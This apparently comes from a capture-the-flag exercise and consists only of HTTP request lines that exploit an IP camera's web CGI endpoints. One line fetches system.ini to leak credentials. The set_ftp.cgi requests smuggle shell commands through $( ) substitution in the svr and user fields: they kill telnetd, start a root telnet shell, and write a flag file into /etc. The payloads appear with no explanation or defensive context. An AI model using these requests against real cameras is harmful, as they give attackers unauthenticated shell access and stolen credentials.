/system.ini?loginuse&loginpas&apos

http://192.168.1.39:81/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=SomeFlagHERE&svr=$(killall telnetd)&port=21&user=$(telnetd -l /bin/sh)&pwd=123456789&dir=/&mode=PORT&upload_interval=0

http://192.168.1.39:81/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=SomeFlagHERE

http://192.168.1.39:81/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=SomeFlagHERE&svr=$(echo FLAG10.2_OS_COMMAND_INJECT > /etc/FLAG10.2)&port=21&user=xxxx&pwd=123456789&dir=/&mode=PORT&upload_interval=0